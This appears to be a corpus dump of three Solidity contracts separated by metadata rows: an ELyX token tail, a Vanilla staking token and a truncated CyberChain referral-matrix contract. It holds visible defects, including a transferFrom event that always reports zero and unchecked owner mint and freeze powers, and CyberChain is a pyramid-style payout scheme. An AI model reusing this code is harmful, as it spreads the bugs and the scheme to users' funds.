emit Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract ELyXToken is ERC20, Ownable, Pausable {
using SafeMath for uint256;
struct LockupInfo {
uint256 releaseTime;
uint256 termOfRound;
uint256 unlockAmountPerRound;
uint256 lockupBalance;
}
string public name;
string public symbol;
uint8 constant public decimals =18;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) internal locks;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
mapping(address => LockupInfo[]) internal lockupInfo;
event Lock(address indexed holder, uint256 value);
event Unlock(address indexed holder, uint256 value);
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "ELyX";
symbol = "ELyX";
initialSupply = 10000000000; //10,000,000,000
totalSupply_ = initialSupply * 10 ** uint(decimals);
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
//
function () public payable {
revert();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) {
if (locks[msg.sender]) {
autoUnlock(msg.sender);
}
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
if(locks[_holder]) {
for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++) {
lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance);
}
}
return balances[_holder] + lockedBalance;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) {
if (locks[_from]) {
autoUnlock(_from);
}
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
require(isContract(_spender));
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
require(balances[_holder] >= _amount);
if(_termOfRound==0) {
_termOfRound = 1;
}
balances[_holder] = balances[_holder].sub(_amount);
lockupInfo[_holder].push(LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount));
locks[_holder] = true;
emit Lock(_holder, _amount);
return true;
}
function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) {
require(locks[_holder]);
require(_idx < lockupInfo[_holder].length);
LockupInfo storage lockupinfo = lockupInfo[_holder][_idx];
uint256 releaseAmount = lockupinfo.lockupBalance;
delete lockupInfo[_holder][_idx];
lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)];
lockupInfo[_holder].length -=1;
if(lockupInfo[_holder].length == 0) {
locks[_holder] = false;
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
}
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
function getNowTime() public view returns(uint256) {
return now;
}
function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) {
if(locks[_holder]) {
return (locks[_holder],
lockupInfo[_holder].length,
lockupInfo[_holder][_idx].lockupBalance,
lockupInfo[_holder][_idx].releaseTime,
lockupInfo[_holder][_idx].termOfRound,
lockupInfo[_holder][_idx].unlockAmountPerRound);
} else {
return (locks[_holder],
lockupInfo[_holder].length,
0,0,0,0);
}
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(owner, _to, _value);
return true;
}
function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
distribute(_to, _value);
lock(_to, _value, _releaseStart, _termOfRound, _releaseRate);
return true;
}
function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) {
token.transfer(_to, _value);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
function autoUnlock(address _holder) internal returns (bool) {
for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++) {
if(locks[_holder]==false) {
return true;
}
if (lockupInfo[_holder][idx].releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if(releaseTimeLock(_holder, idx)) {
idx -=1;
}
}
}
return true;
}
function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) {
require(locks[_holder]);
require(_idx < lockupInfo[_holder].length);
// If lock status of holder is finished, delete lockup info.
LockupInfo storage info = lockupInfo[_holder][_idx];
uint256 releaseAmount = info.unlockAmountPerRound;
uint256 sinceFrom = now.sub(info.releaseTime);
uint256 sinceRound = sinceFrom.div(info.termOfRound);
releaseAmount = releaseAmount.add(sinceRound.mul(info.unlockAmountPerRound));
if(releaseAmount >= info.lockupBalance) {
releaseAmount = info.lockupBalance;
delete lockupInfo[_holder][_idx];
lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)];
lockupInfo[_holder].length -=1;
if(lockupInfo[_holder].length == 0) {
locks[_holder] = false;
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
} else {
lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add(sinceRound.add(1).mul(info.termOfRound));
lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount);
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return false;
}
}
}
| 147,464 | 10,860 |
85bec79aa4c54ffea237609e9df9e65b05c11d4a614a7cca3bc50027e8581787
| 21,336 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/9040_8217_0xb97faf860045483e0c7f08c56acb31333084a988.sol
| 3,800 | 15,252 |
pragma solidity ^0.6.0;
// SPDX-License-Identifier: UNLICENSED
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
require(m != 0, "SafeMath: to ceil number shall not be zero");
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// 'VANILLA' token AND staking contract
// Symbol : VNLA
// Name : Vanilla Network
// Total supply: 1,000,000 (1 million)
// Min supply : 100k
// Decimals : 18
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Vanilla is IERC20, Owned {
using SafeMath for uint256;
string public symbol = "VNLA";
string public name = "Vanilla Network";
uint256 public decimals = 18;
address airdropContract;
uint256 _totalSupply = 98447685 * 10 ** (16); // 984,476.85
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(address icoContract, address _airdropContract) public {
airdropContract = _airdropContract;
owner = 0xFa50b82cbf2942008A097B6289F39b1bb797C5Cd;
balances[icoContract] = 150000 * 10 ** (18); // 150,000
emit Transfer(address(0), icoContract, 150000 * 10 ** (18));
balances[address(owner)] = 54195664 * 10 ** (16); // 541,956.64
emit Transfer(address(0), address(owner), 54195664 * 10 ** (16));
balances[address(airdropContract)] = 2925202086 * 10 ** (14); // 292520.2086
emit Transfer(address(0), address(airdropContract), 2925202086 * 10 ** (14));
}
function totalSupply() external override view returns (uint256){
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) external override view returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) external override returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) external override view returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public override returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[msg.sender] >= tokens);
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
uint256 deduction = deductionsToApply(tokens);
applyDeductions(deduction);
balances[to] = balances[to].add(tokens.sub(deduction));
emit Transfer(msg.sender, to, tokens.sub(deduction));
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) external override returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
uint256 deduction = deductionsToApply(tokens);
applyDeductions(deduction);
balances[to] = balances[to].add(tokens.sub(deduction));
emit Transfer(from, to, tokens.sub(tokens));
return true;
}
function _transfer(address to, uint256 tokens, bool rewards) internal returns(bool){
// prevent transfer to 0x0, use burn instead
require(address(to) != address(0));
require(balances[address(this)] >= tokens);
require(balances[to] + tokens >= balances[to]);
balances[address(this)] = balances[address(this)].sub(tokens);
uint256 deduction = 0;
if(!rewards){
deduction = deductionsToApply(tokens);
applyDeductions(deduction);
}
balances[to] = balances[to].add(tokens.sub(deduction));
emit Transfer(address(this),to,tokens.sub(deduction));
return true;
}
function deductionsToApply(uint256 tokens) private view returns(uint256){
uint256 deduction = 0;
uint256 minSupply = 100000 * 10 ** (18);
if(_totalSupply > minSupply && msg.sender != airdropContract){
deduction = onePercent(tokens).mul(5); // 5% transaction cost
if(_totalSupply.sub(deduction) < minSupply)
deduction = _totalSupply.sub(minSupply);
}
return deduction;
}
function applyDeductions(uint256 deduction) private{
if(stakedCoins == 0){
burnTokens(deduction);
}
else{
burnTokens(deduction.div(2));
disburse(deduction.div(2));
}
}
// ------------------------------------------------------------------------
// Burn the ``value` amount of tokens from the `account`
// ------------------------------------------------------------------------
function burnTokens(uint256 value) internal{
require(_totalSupply >= value); // burn only unsold tokens
_totalSupply = _totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// ------------------------------------------------------------------------
// Calculates onePercent of the uint256 amount sent
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) internal pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
uint256 deployTime;
uint256 private totalDividentPoints;
uint256 private unclaimedDividendPoints;
uint256 pointMultiplier = 1000000000000000000;
uint256 public stakedCoins;
uint256 public totalRewardsClaimed;
bool public stakingOpen;
struct Account {
uint256 balance;
uint256 lastDividentPoints;
uint256 timeInvest;
uint256 lastClaimed;
uint256 rewardsClaimed;
uint256 pending;
}
mapping(address => Account) accounts;
function openStaking() external onlyOwner{
require(!stakingOpen, "staking already open");
stakingOpen = true;
}
function STAKE(uint256 _tokens) external returns(bool){
require(stakingOpen, "staking is close");
// gets VANILLA tokens from user to contract address
require(transfer(address(this), _tokens), "In sufficient tokens in user wallet");
// require(_tokens >= 100 * 10 ** (18), "Minimum stake allowed is 100 EZG");
uint256 owing = dividendsOwing(msg.sender);
if(owing > 0) // early stakes
accounts[msg.sender].pending = owing;
addToStake(_tokens);
return true;
}
function addToStake(uint256 _tokens) private{
uint256 deduction = deductionsToApply(_tokens);
if(accounts[msg.sender].balance == 0) // first time staking
accounts[msg.sender].timeInvest = now;
stakedCoins = stakedCoins.add(_tokens.sub(deduction));
accounts[msg.sender].balance = accounts[msg.sender].balance.add(_tokens.sub(deduction));
accounts[msg.sender].lastDividentPoints = totalDividentPoints;
accounts[msg.sender].lastClaimed = now;
}
function stakingStartedAt(address user) external view returns(uint256){
return accounts[user].timeInvest;
}
function pendingReward(address _user) external view returns(uint256){
uint256 owing = dividendsOwing(_user);
return owing;
}
function dividendsOwing(address investor) internal view returns (uint256){
uint256 newDividendPoints = totalDividentPoints.sub(accounts[investor].lastDividentPoints);
return (((accounts[investor].balance).mul(newDividendPoints)).div(pointMultiplier)).add(accounts[investor].pending);
}
function updateDividend(address investor) internal returns(uint256){
uint256 owing = dividendsOwing(investor);
if (owing > 0){
unclaimedDividendPoints = unclaimedDividendPoints.sub(owing);
accounts[investor].lastDividentPoints = totalDividentPoints;
accounts[investor].pending = 0;
}
return owing;
}
function activeStake(address _user) external view returns (uint256){
return accounts[_user].balance;
}
function UNSTAKE(uint256 tokens) external returns (bool){
require(accounts[msg.sender].balance > 0);
uint256 owing = updateDividend(msg.sender);
if(owing > 0) // unclaimed reward
accounts[msg.sender].pending = owing;
stakedCoins = stakedCoins.sub(tokens);
require(_transfer(msg.sender, tokens, false));
accounts[msg.sender].balance = accounts[msg.sender].balance.sub(tokens);
return true;
}
function disburse(uint256 amount) internal{
balances[address(this)] = balances[address(this)].add(amount);
uint256 unnormalized = amount.mul(pointMultiplier);
totalDividentPoints = totalDividentPoints.add(unnormalized.div(stakedCoins));
unclaimedDividendPoints = unclaimedDividendPoints.add(amount);
}
function claimReward() external returns(bool){
uint256 owing = updateDividend(msg.sender);
require(owing > 0);
require(_transfer(msg.sender, owing, true));
accounts[msg.sender].rewardsClaimed = accounts[msg.sender].rewardsClaimed.add(owing);
totalRewardsClaimed = totalRewardsClaimed.add(owing);
return true;
}
function rewardsClaimed(address _user) external view returns(uint256 rewardClaimed){
return accounts[_user].rewardsClaimed;
}
function reinvest() external {
uint256 owing = updateDividend(msg.sender);
require(owing > 0);
// if there is any pending reward, people can add it to existing stake
addToStake(owing);
}
}
| 232,151 | 10,861 |
9f7bc612bfb0d19251274f4f87b338a02010207adaeea03bc2f2857b427c6c4c
| 16,623 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TG1Dx5mJLTWMSfWQrKuJikCXWpHzTzur2k_CyberChain.sol
| 4,829 | 16,310 |
//SourceUnit: cyber3.sol
pragma solidity 0.5.12;
interface ICyberChain {
enum Overflow {
DOWN,
DIRECT,
UP,
OUTRUN
}
event Register(address indexed addr, address indexed upline, uint256 id, uint40 time);
event BuyLevel(address indexed addr, uint8 level, uint40 time);
event SetFirstLine(address indexed addr, address indexed upline, uint8 level, Overflow overflow, uint40 time);
event SetSecondLine(address indexed addr, address indexed upline, uint8 level, Overflow overflow, uint40 time);
event Reinvest(address indexed addr, uint8 level, uint40 time);
event Profit(address indexed addr, uint256 amount, uint40 time);
event Lost(address indexed addr, uint256 amount, uint40 time);
function register(address payable _upline) payable external;
function register(uint256 _upline_id) payable external;
function upgrade() payable external returns(uint8 level);
function contractInfo() view external returns(uint256 _last_id, uint256 _turnover);
function getUserById(uint256 _id) view external returns(address addr, address upline);
function userInfo(address _addr) view external returns(uint256 id, address upline, uint8 level, uint256 profit, uint256 lost);
function userStructure(address _addr) view external returns(uint256[12] memory reinvests, uint256[12][4] memory referrals, uint256[12][3] memory referrals_line1, uint8[12][3] memory overflow_line1, uint256[12][8] memory referrals_line2, uint8[12][8] memory overflow_line2);
function userLevelStructure(address _addr, uint8 _level) view external returns(bool active, address upline, uint256 reinvests, uint256[4] memory referrals, uint256[3] memory referrals_line1, uint8[3] memory overflow_line1, uint256[8] memory referrals_line2, uint8[8] memory overflow_line2);
}
contract CyberChain is ICyberChain {
struct Level {
bool active;
address payable upline;
address payable[] referrals_line1;
Overflow[] overflow_line1;
address payable[] referrals_line2;
Overflow[] overflow_line2;
uint256 reinvest;
mapping(uint8 => uint256) referrals;
}
struct User {
uint256 id;
address payable upline;
uint256 profit;
uint256 lost;
mapping(uint8 => Level) levels;
}
uint8 public constant MAX_LEVEL = 12;
address public migrate_owner;
uint256 public migrate_offset;
address payable public root;
uint256 public last_id;
uint256 public turnover;
uint256[] public levels;
mapping(address => User) public users;
mapping(uint256 => address payable) public users_ids;
address payable public fee1;
address payable public fee2;
modifier onlyMigrate() {
require(msg.sender == migrate_owner, "Migrate already close");
_;
}
modifier migrateEnd() {
require(migrate_owner == address(0), "Migrate open");
_;
}
constructor() public {
migrate_owner = msg.sender;
root = 0xC1EB5eE972868165AD1b11f446eBaB1E9eeD4031;
fee1 = 0xb5629f6d439C4c949F67870203D4b98C1e117754;
fee2 = 0x632Bd3265cA3f60cc09D1390E55Aa7e8C74d1Cdb;
_addUser(root, address(0));
for(uint8 i = 0; i < MAX_LEVEL; i++) {
levels.push(i > 0 ? (levels[i - 1] * (i > 6 ? 3 : 2)) : 1e6);
users[root].levels[i].active = true;
emit BuyLevel(root, i, uint40(block.timestamp));
}
}
function() payable external {
_register(msg.sender, _bytesToAddress(msg.data), msg.value);
}
function _addUser(address payable _user, address payable _upline) private {
users[_user].id = ++last_id;
users[_user].upline = _upline;
users_ids[last_id] = _user;
emit Register(_user, _upline, last_id, uint40(block.timestamp));
}
function _send(address payable _addr, uint256 _value) private {
if(migrate_owner != address(0)) return;
if(_addr == address(0) || !_addr.send(_value)) {
root.transfer(_value);
}
else {
users[_addr].profit += _value;
emit Profit(_addr, _value, uint40(block.timestamp));
}
}
function _sendComm() private {
fee1.transfer(address(this).balance / 2);
fee2.transfer(address(this).balance);
}
function _setLevelUpline(address payable _user, address payable _upline, uint8 _level, bool _second, Overflow _overflow) private {
users[_upline].levels[_level].referrals[uint8(_overflow)]++;
if(_second) {
users[_upline].levels[_level].referrals_line2.push(_user);
users[_upline].levels[_level].overflow_line2.push(_overflow);
emit SetSecondLine(_user, _upline, _level, _overflow, uint40(block.timestamp));
}
else {
users[_user].levels[_level].upline = _upline;
users[_upline].levels[_level].referrals_line1.push(_user);
users[_upline].levels[_level].overflow_line1.push(_overflow);
emit SetFirstLine(_user, _upline, _level, _overflow, uint40(block.timestamp));
}
}
function _reinvest(address payable _user, uint8 _level) private {
users[_user].levels[_level].referrals_line1 = new address payable[](0);
users[_user].levels[_level].overflow_line1 = new Overflow[](0);
users[_user].levels[_level].referrals_line2 = new address payable[](0);
users[_user].levels[_level].overflow_line2 = new Overflow[](0);
users[_user].levels[_level].reinvest++;
emit Reinvest(_user, _level, uint40(block.timestamp));
if(_user != root) _buyLevel(_user, _level, true);
}
function _buyLevel(address payable _user, uint8 _level, bool _reinv) private {
if(!_reinv) {
users[_user].levels[_level].active = true;
emit BuyLevel(_user, _level, uint40(block.timestamp));
}
address payable upline = _findUplineHasLevel(users[_user].upline, _level);
bool overflow = users[_user].upline != upline;
if(overflow && migrate_owner == address(0)) {
users[users[_user].upline].lost += levels[_level] / 2;
emit Lost(users[_user].upline, levels[_level], uint40(block.timestamp));
}
if(users[upline].levels[_level].referrals_line1.length < 3) {
_setLevelUpline(_user, upline, _level, false, overflow ? Overflow.OUTRUN : Overflow.DIRECT);
address payable sup_upline = users[upline].levels[_level].upline;
if(sup_upline != address(0)) {
if(!_reinv) {
_send(upline, levels[_level] / 2);
if(users[sup_upline].levels[_level].referrals_line2.length > 7) _send(_findUplineHasLevel(users[users[_user].upline].upline, _level), levels[_level] / 2);
else if(users[sup_upline].levels[_level].referrals_line2.length > 6) _send(_findUplineHasLevel(users[_user].upline, _level), levels[_level] / 2);
else _send(sup_upline, levels[_level] / 2);
}
if(users[sup_upline].levels[_level].referrals_line2.length < 8) {
_setLevelUpline(_user, sup_upline, _level, true, overflow ? Overflow.OUTRUN : Overflow.DOWN);
}
else _reinvest(sup_upline, _level);
}
else if(!_reinv) _send(upline, levels[_level]);
}
else {
address payable sub_upline = _findFreeReferrer(upline, _user, _level);
_setLevelUpline(_user, sub_upline, _level, false, overflow ? Overflow.OUTRUN : Overflow.UP);
if(!_reinv) {
_send(sub_upline, levels[_level] / 2);
if(users[upline].levels[_level].referrals_line2.length > 7) _send(_findUplineHasLevel(_findUplineOffset(_user, 3), _level), levels[_level] / 2);
else if(users[upline].levels[_level].referrals_line2.length > 6) _send(_findUplineHasLevel(_findUplineOffset(_user, 2), _level), levels[_level] / 2);
else _send(upline, levels[_level] / 2);
}
if(users[upline].levels[_level].referrals_line2.length < 8) {
_setLevelUpline(_user, upline, _level, true, overflow ? Overflow.OUTRUN : Overflow.DIRECT);
}
else _reinvest(upline, _level);
}
}
function _register(address payable _user, address payable _upline, uint256 _value) private migrateEnd {
require(_value == this.levelPriceWithComm(0), "Invalid amount");
require(users[_user].upline == address(0) && _user != root, "User already exists");
require(users[_upline].upline != address(0) || _upline == root, "Upline not found");
_addUser(_user, _upline);
_buyLevel(_user, 0, false);
_sendComm();
turnover += levels[0];
}
function register(address payable _upline) payable external {
_register(msg.sender, _upline, msg.value);
}
function register(uint256 _upline_id) payable external {
_register(msg.sender, users_ids[_upline_id], msg.value);
}
function upgrade() payable external migrateEnd returns(uint8 level) {
require(users[msg.sender].upline != address(0), "User not register");
for(uint8 i = 1; i < MAX_LEVEL; i++) {
if(!users[msg.sender].levels[i].active) {
level = i;
break;
}
}
require(level > 0, "All levels active");
require(msg.value == this.levelPriceWithComm(level), "Invalid amount");
_buyLevel(msg.sender, level, false);
_sendComm();
turnover += levels[level];
}
function _bytesToAddress(bytes memory _data) private pure returns(address payable addr) {
assembly {
addr := mload(add(_data, 20))
}
}
function _findUplineHasLevel(address payable _user, uint8 _level) private view returns(address payable) {
if(_user == root || (users[_user].levels[_level].active && (users[_user].levels[_level].reinvest == 0 || users[_user].levels[_level + 1].active || _level + 1 == MAX_LEVEL))) return _user;
return _findUplineHasLevel(users[_user].upline, _level);
}
function _findUplineOffset(address payable _user, uint8 _offset) private view returns(address payable) {
if(_user == root || _offset == 0) return _user;
return _findUplineOffset(users[_user].upline, _offset - 1);
}
function _findFreeReferrer(address payable _user, address _referral, uint8 _level) private view returns(address payable) {
for(uint8 i = 0; i < 3; i++) {
address payable ref = users[_user].levels[_level].referrals_line1[i];
if(_referral != ref && users[ref].levels[_level].referrals_line1.length < 3) {
return ref;
}
}
}
function levelPriceWithComm(uint8 _level) view external returns(uint256) {
return levels[_level] + (levels[_level] / 100 * 4);
}
function contractInfo() view external returns(uint256 _last_id, uint256 _turnover) {
return (last_id, turnover);
}
function getUserById(uint256 _id) view external returns(address addr, address upline) {
return (users_ids[_id], users[users_ids[_id]].upline);
}
function userInfo(address _addr) view external returns(uint256 id, address upline, uint8 level, uint256 profit, uint256 lost) {
for(uint8 l = 0; l < MAX_LEVEL; l++) {
if(!users[_addr].levels[l].active) break;
level = l;
}
return (users[_addr].id, users[_addr].upline, level, users[_addr].profit, users[_addr].lost);
}
function userStructure(address _addr) view external returns(uint256[12] memory reinvests, uint256[12][4] memory referrals, uint256[12][3] memory referrals_line1, uint8[12][3] memory overflow_line1, uint256[12][8] memory referrals_line2, uint8[12][8] memory overflow_line2) {
for(uint8 l = 0; l < MAX_LEVEL; l++) {
if(!users[_addr].levels[l].active) break;
reinvests[l] = users[_addr].levels[l].reinvest;
for(uint8 i = 0; i < 4; i++) {
referrals[i][l] = users[_addr].levels[l].referrals[i];
}
for(uint8 i = 0; i < 3; i++) {
if(i >= users[_addr].levels[l].referrals_line1.length) break;
referrals_line1[i][l] = users[users[_addr].levels[l].referrals_line1[i]].id;
overflow_line1[i][l] = uint8(users[_addr].levels[l].overflow_line1[i]);
}
for(uint8 i = 0; i < 8; i++) {
if(i >= users[_addr].levels[l].referrals_line2.length) break;
referrals_line2[i][l] = users[users[_addr].levels[l].referrals_line2[i]].id;
overflow_line2[i][l] = uint8(users[_addr].levels[l].overflow_line2[i]);
}
}
}
function userLevelStructure(address _addr, uint8 _level) view external returns(bool active, address upline, uint256 reinvests, uint256[4] memory referrals, uint256[3] memory referrals_line1, uint8[3] memory overflow_line1, uint256[8] memory referrals_line2, uint8[8] memory overflow_line2) {
active = users[_addr].levels[_level].active;
upline = users[_addr].levels[_level].upline;
reinvests = users[_addr].levels[_level].reinvest;
for(uint8 i = 0; i < 4; i++) {
referrals[i] = users[_addr].levels[_level].referrals[i];
}
for(uint8 i = 0; i < 3; i++) {
if(i >= users[_addr].levels[_level].referrals_line1.length) break;
referrals_line1[i] = users[users[_addr].levels[_level].referrals_line1[i]].id;
overflow_line1[i] = uint8(users[_addr].levels[_level].overflow_line1[i]);
}
for(uint8 i = 0; i < 8; i++) {
if(i >= users[_addr].levels[_level].referrals_line2.length) break;
referrals_line2[i] = users[users[_addr].levels[_level].referrals_line2[i]].id;
overflow_line2[i] = uint8(users[_addr].levels[_level].overflow_line2[i]);
}
}
function migrateList(CyberChain _contract, uint256 _migrate_offset, bool[] calldata _updates, address payable[] calldata _users, uint256[] calldata _upline_ids__values) external onlyMigrate {
require(migrate_offset == _migrate_offset, "Bad offset");
for(uint256 i = 0; i < _updates.length; i++) {
